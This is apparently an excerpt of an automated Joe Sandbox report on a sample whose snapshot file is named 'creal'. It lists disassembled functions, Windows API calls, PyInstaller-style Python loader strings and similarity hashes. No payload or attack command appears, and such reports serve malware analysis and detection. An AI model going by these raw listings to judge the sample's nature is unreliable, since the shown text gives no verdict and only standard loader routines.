CloseHandle.KERNELBASE(?,?,?,00007FF67A61B099,?,?,00000000,00007FF67A61B14E), ref: 00007FF67A61B28A
GetLastError.KERNEL32(?,?,?,00007FF67A61B099,?,?,00000000,00007FF67A61B14E), ref: 00007FF67A61B294

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 5686df961ce5be01fcc4af8e545b06247c6cca85e683b4a0316bb757e052fe91
Instruction ID: 2cbf9846c6e71eb9fdd4fd8ee44e5ce760dbcf0e032f257d3a94fee71f3c5279
Opcode Fuzzy Hash: 5686df961ce5be01fcc4af8e545b06247c6cca85e683b4a0316bb757e052fe91
Instruction Fuzzy Hash: 5221D823B3868201FE919761D45427F1AC29F84FA0F0442B5DE1DC73F5DE6CE849A301

Function 00007FF67A607D50 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67A608BE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF67A602ABB), ref: 00007FF67A608C1A

_findclose.LIBCMT ref: 00007FF67A607FA9

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ByteCharMultiWide_findclose
String ID:
API String ID: 2772937645-0
Opcode ID: 5d60b06fc9f4bb83c594c7e5293bb97dce9ec5e9439419983571f2289f3b39da
Instruction ID: f232fe5dff321541fc6cc168724d56b4f146656b0b77c2747a69e9640889365e
Opcode Fuzzy Hash: 5d60b06fc9f4bb83c594c7e5293bb97dce9ec5e9439419983571f2289f3b39da
Instruction Fuzzy Hash: 7C717C53E28AC581EA11CB2CD5452FE7360F7A9B48F54E321DB9C525A2EF28E2D9C740

Function 00007FF67A61C56C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A61C594

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6b5c5ab8eeff71e39afe9fda2295d49407cb2b42678b128b0c7397afbf7fbff2
Instruction ID: 6907a63089c1a57f6579bca584bc834c2484947ad673c6bfc1b761c8573e0a41
Opcode Fuzzy Hash: 6b5c5ab8eeff71e39afe9fda2295d49407cb2b42678b128b0c7397afbf7fbff2
Instruction Fuzzy Hash: 1341D4B3A2824187EB34DB19E54027E7BA1EB55F45F501171D78EC36A1CF2DE402E791

Function 00007FF67A6082C0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF67A60836A

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: ed5d5332731fbefacaea152c46ccfcc0a6f1b8082d8d222caa24644e45eab1dc
Instruction ID: e7055f71363d572c182c776f01d51b2fecb4a9c2d5e06d863d63676f2cc3f444
Opcode Fuzzy Hash: ed5d5332731fbefacaea152c46ccfcc0a6f1b8082d8d222caa24644e45eab1dc
Instruction Fuzzy Hash: 9121F623B3865245FA18DA52A8147BBBA51FF85FD5F881470EE0C87796DE3CE481D304

Function 00007FF67A61BFFC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A61C082

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a272c684b9e82b0f6d5b5ea7b632cf799a6e84b33c7975b6586671660882a7e4
Instruction ID: 75f7e733d5da2d2f41f9c42e98757bff7228af77e3ff774cc21bd33208106fef
Opcode Fuzzy Hash: a272c684b9e82b0f6d5b5ea7b632cf799a6e84b33c7975b6586671660882a7e4
Instruction Fuzzy Hash: B831B023A38A5285F741AF65C84137E6E50AF44F96F4102B5DA2C873F2CF7EE841A721

Function 00007FF67A619FF1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF67A61A01F

Part of subcall function 00007FF67A61A118: GetModuleHandleExW.KERNEL32 ref: 00007FF67A61A13D
Part of subcall function 00007FF67A61A118: GetProcAddress.KERNEL32 ref: 00007FF67A61A153
Part of subcall function 00007FF67A61A118: FreeLibrary.KERNEL32 ref: 00007FF67A61A17A

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 0855724a644142b9d5d18c3619865a8123e2457de56b2178a4ec6799866f0427
Instruction ID: 60fcf584ecb45621b10ad9a0662c6aaf83d3fbc70b28311cdbccd42dfaf11e3c
Opcode Fuzzy Hash: 0855724a644142b9d5d18c3619865a8123e2457de56b2178a4ec6799866f0427
Instruction Fuzzy Hash: 8A217C32A247868EEB258F64C4402FD3BA0EB14B1DF444676D62D86BE5EF38D584DB50

Function 00007FF67A6165A8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A61650D

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction ID: b2dd1ae031c62f92ccfe9d80d055f6450e4b3af0cb59e56d1825273d0bba6c71
Opcode Fuzzy Hash: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction Fuzzy Hash: D911636BE2C64181EA60DF51D40127FAA64BF84F88F4444B1EB8DC76AADF7DD440A701

Function 00007FF67A626DAC Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A626DCF

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 513e03f871098e076a65fb8bab8bb253d597a6200523e68a4e261718b8ca4e46
Instruction ID: e71538805a89d622f5934ce624a9b7ce9010b1e2ffc9fab5cb5c77658803dca9
Opcode Fuzzy Hash: 513e03f871098e076a65fb8bab8bb253d597a6200523e68a4e261718b8ca4e46
Instruction Fuzzy Hash: 66218E33A28A8687EB61DF18E44077A76A0EB84F54F244234EA5D876E9DF3CD8009B00

Function 00007FF67A6105FC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A610650

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e4e6805aeaf9884a68cba76bd798531beecc2a98c7129b287afec428eebc8cdc
Instruction ID: 15b3bcf7d1b886d29793e9829e9b2f341960c36d216ebda595a0624276dd1099
Opcode Fuzzy Hash: e4e6805aeaf9884a68cba76bd798531beecc2a98c7129b287afec428eebc8cdc
Instruction Fuzzy Hash: EA01C422B2874281EA04EB56D90007BAA95BF95FE0F5946B0DE6C97BFACE3CD1019700

Function 00007FF67A6083F0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: e6a02a7f238b553af44caf36d8d3da4ad3d885b6836fbbaa7e86c6893428cba3
Instruction ID: da9590d144b111c2306e53b865544c313b1f0319e448ee3320b838c968fd5451
Opcode Fuzzy Hash: e6a02a7f238b553af44caf36d8d3da4ad3d885b6836fbbaa7e86c6893428cba3
Instruction Fuzzy Hash: 65418317D3CB8581EA51DB2495112FE7360FBA5F45F44A672DB8D822A3EF28E5D89300

Function 00007FF67A61F258 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF67A61BAA6,?,?,?,00007FF67A61AC67,?,?,00000000,00007FF67A61AF02), ref: 00007FF67A61F2AD

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: ad72610c1691118a78623675ffb4602911f8d1a0a6f53dbf3f5690a0bb35320a
Instruction ID: 8c07660080a5d9ded87c1ce05a04fc7a6bc3bb31a64496db0d75262d361982b1
Opcode Fuzzy Hash: ad72610c1691118a78623675ffb4602911f8d1a0a6f53dbf3f5690a0bb35320a
Instruction Fuzzy Hash: 44F0906BB2960741FE549BE1D4113BB5A815F4CF40F4C88B2CE0EC63F1EE2CE480A610

Function 00007FF67A61DCBC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF67A610E24,?,?,?,00007FF67A612336,?,?,?,?,?,00007FF67A613929), ref: 00007FF67A61DCFA

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 7e0b1927fbdc3a6ed72285cdcbe6a9dc307cd073e663e3b2fd931ce122d4be7c
Instruction ID: 37c3e9452d541cf1466af05274cc83f7e30ba0e598c346a257f36e8d6cc92176
Opcode Fuzzy Hash: 7e0b1927fbdc3a6ed72285cdcbe6a9dc307cd073e663e3b2fd931ce122d4be7c
Instruction Fuzzy Hash: FFF08203F2A24791FE545762D8012771A949F88FA0F080AB0DE2ECA2E1DE2CE440A610

Non-executed Functions

Function 00007FF67A6051F0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF67A60346E), ref: 00007FF67A605200
GetProcAddress.KERNEL32(?,?,00000000,00007FF67A60346E), ref: 00007FF67A60523A
GetProcAddress.KERNEL32(?,?,00000000,00007FF67A60346E), ref: 00007FF67A60525F
GetProcAddress.KERNEL32(?,?,00000000,00007FF67A60346E), ref: 00007FF67A605284
GetProcAddress.KERNEL32(?,?,00000000,00007FF67A60346E), ref: 00007FF67A6052AC
GetProcAddress.KERNEL32(?,?,00000000,00007FF67A60346E), ref: 00007FF67A6052D4
GetProcAddress.KERNEL32(?,?,00000000,00007FF67A60346E), ref: 00007FF67A6052FC
GetProcAddress.KERNEL32(?,?,00000000,00007FF67A60346E), ref: 00007FF67A605324
GetProcAddress.KERNEL32(?,?,00000000,00007FF67A60346E), ref: 00007FF67A60534C
GetProcAddress.KERNEL32(?,?,00000000,00007FF67A60346E), ref: 00007FF67A605374

Strings

Py_PreInitialize, xrefs: 00007FF67A6052F2
Failed to get address for PyConfig_SetBytesString, xrefs: 00007FF67A6053AE
Failed to get address for Py_ExitStatusException, xrefs: 00007FF67A605271
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF67A605746
PyUnicode_FromFormat, xrefs: 00007FF67A605842
PyObject_SetAttrString, xrefs: 00007FF67A6056B2
PyErr_Occurred, xrefs: 00007FF67A605482
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF67A605836
Failed to get address for PyConfig_Clear, xrefs: 00007FF67A605336
PyConfig_Clear, xrefs: 00007FF67A60531A
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF67A605476
Py_Finalize, xrefs: 00007FF67A60527A
PyList_Append, xrefs: 00007FF67A60559A
Failed to get address for PyModule_GetDict, xrefs: 00007FF67A60562E
Failed to get address for PyImport_AddModule, xrefs: 00007FF67A60553E
Failed to get address for PyUnicode_FromString, xrefs: 00007FF67A605886
Py_IsInitialized, xrefs: 00007FF67A6052CA
Failed to get address for Py_DecRef, xrefs: 00007FF67A605212
PyModule_GetDict, xrefs: 00007FF67A605612
PyUnicode_Join, xrefs: 00007FF67A605892
PyUnicode_AsUTF8, xrefs: 00007FF67A6057CA
Failed to get address for PyPreConfig_InitIsolatedConfig, xrefs: 00007FF67A60571E
Py_DecRef, xrefs: 00007FF67A6051F6
Failed to get address for PyUnicode_Decode, xrefs: 00007FF67A60580E
Py_InitializeFromConfig, xrefs: 00007FF67A6052A2
Failed to get address for PyConfig_SetString, xrefs: 00007FF67A6053D6
PyUnicode_Replace, xrefs: 00007FF67A6058BA
Failed to get address for PyList_Append, xrefs: 00007FF67A6055B6
Failed to get address for PyStatus_Exception, xrefs: 00007FF67A60576E
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF67A605702
Failed to get address for PyMem_RawFree, xrefs: 00007FF67A605606
PyUnicode_FromString, xrefs: 00007FF67A60586A
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF67A60567E
PyErr_NormalizeException, xrefs: 00007FF67A60545A
PyConfig_SetString, xrefs: 00007FF67A6053BA
PySys_GetObject, xrefs: 00007FF67A60577A
Failed to get address for Py_InitializeFromConfig, xrefs: 00007FF67A6052BE
PyUnicode_Decode, xrefs: 00007FF67A6057F2
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF67A605566
Failed to get address for PyConfig_Read, xrefs: 00007FF67A605386
PyErr_Clear, xrefs: 00007FF67A60540A
Failed to get address for PyErr_Occurred, xrefs: 00007FF67A60549E
PyErr_Print, xrefs: 00007FF67A6054AA
Failed to get address for PyEval_EvalCode, xrefs: 00007FF67A605516
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF67A6056A6
PyStatus_Exception, xrefs: 00007FF67A605752
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF67A6057E6
PySys_SetObject, xrefs: 00007FF67A6057A2
PyConfig_Read, xrefs: 00007FF67A60536A
Failed to get address for PyErr_Print, xrefs: 00007FF67A6054C6
PyObject_GetAttrString, xrefs: 00007FF67A60568A
PyImport_ExecCodeModule, xrefs: 00007FF67A60554A
PyErr_Fetch, xrefs: 00007FF67A605432
Failed to get address for PyConfig_SetWideStringList, xrefs: 00007FF67A6053FE
Failed to get address for PyObject_Str, xrefs: 00007FF67A6056F6
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF67A6056CE
Failed to get address for PyUnicode_Replace, xrefs: 00007FF67A6058D6
Failed to get address for PySys_SetObject, xrefs: 00007FF67A6057BE
Failed to get address for PySys_GetObject, xrefs: 00007FF67A605796
Failed to get address for PyConfig_InitIsolatedConfig, xrefs: 00007FF67A60535E
PyConfig_SetBytesString, xrefs: 00007FF67A605392
Failed to get address for Py_Finalize, xrefs: 00007FF67A605296
Failed to get address for PyObject_CallFunction, xrefs: 00007FF67A605656
PyConfig_SetWideStringList, xrefs: 00007FF67A6053E2
Failed to get address for PyErr_Restore, xrefs: 00007FF67A6054EE
Failed to get address for PyErr_Clear, xrefs: 00007FF67A605426
Failed to get address for Py_IsInitialized, xrefs: 00007FF67A6052E6
PyUnicode_DecodeFSDefault, xrefs: 00007FF67A60581A
PyObject_Str, xrefs: 00007FF67A6056DA
Failed to get address for Py_DecodeLocale, xrefs: 00007FF67A60524C
PyImport_AddModule, xrefs: 00007FF67A605522
PyImport_ImportModule, xrefs: 00007FF67A605572
Failed to get address for PyErr_Fetch, xrefs: 00007FF67A60544E
PyConfig_InitIsolatedConfig, xrefs: 00007FF67A605342
PyMem_RawFree, xrefs: 00007FF67A6055EA
Failed to get address for PyUnicode_Join, xrefs: 00007FF67A6058AE
Py_ExitStatusException, xrefs: 00007FF67A605255
PyEval_EvalCode, xrefs: 00007FF67A6054FA
Failed to get address for Py_PreInitialize, xrefs: 00007FF67A60530E
Failed to get address for PyImport_ImportModule, xrefs: 00007FF67A60558E
PyObject_CallFunctionObjArgs, xrefs: 00007FF67A605662
PyErr_Restore, xrefs: 00007FF67A6054D2
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF67A6055DE
PyObject_CallFunction, xrefs: 00007FF67A60563A
Py_DecodeLocale, xrefs: 00007FF67A605230
PyMarshal_ReadObjectFromString, xrefs: 00007FF67A6055C2
GetProcAddress, xrefs: 00007FF67A605219
PyRun_SimpleStringFlags, xrefs: 00007FF67A60572A
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF67A60585E

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-4266016200
Opcode ID: f2f88704c5d1e061734efcee993fe9c6dd7b1185595c7391647c05c7e9d36fbf
Instruction ID: 0927370b84433d364c3744777fed1e6523ca314bf1eb605d280809529369d0b3
Opcode Fuzzy Hash: f2f88704c5d1e061734efcee993fe9c6dd7b1185595c7391647c05c7e9d36fbf
Instruction Fuzzy Hash: 6212C86AA7EB0390FB15CF14E85057723A1AF18F44B8494B5C85E863F8EF7CB589B214

Function 00007FF67A601F50 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON

Download Yara Rule

APIs

GetDialogBaseUnits.USER32 ref: 00007FF67A601F9E
MulDiv.KERNEL32 ref: 00007FF67A601FB2
MulDiv.KERNEL32 ref: 00007FF67A601FD3
SystemParametersInfoW.USER32 ref: 00007FF67A60201B
CreateFontIndirectW.GDI32 ref: 00007FF67A60202F
#380.COMCTL32 ref: 00007FF67A602053
CreateWindowExW.USER32 ref: 00007FF67A6020A6
CreateWindowExW.USER32 ref: 00007FF67A602100
CreateWindowExW.USER32 ref: 00007FF67A60215D
CreateWindowExW.USER32 ref: 00007FF67A6021BF
SendMessageW.USER32 ref: 00007FF67A6021DF
SendMessageW.USER32 ref: 00007FF67A6021F9
SendMessageW.USER32 ref: 00007FF67A602218
SendMessageW.USER32 ref: 00007FF67A602237
SendMessageW.USER32 ref: 00007FF67A602255
SendMessageW.USER32 ref: 00007FF67A602273
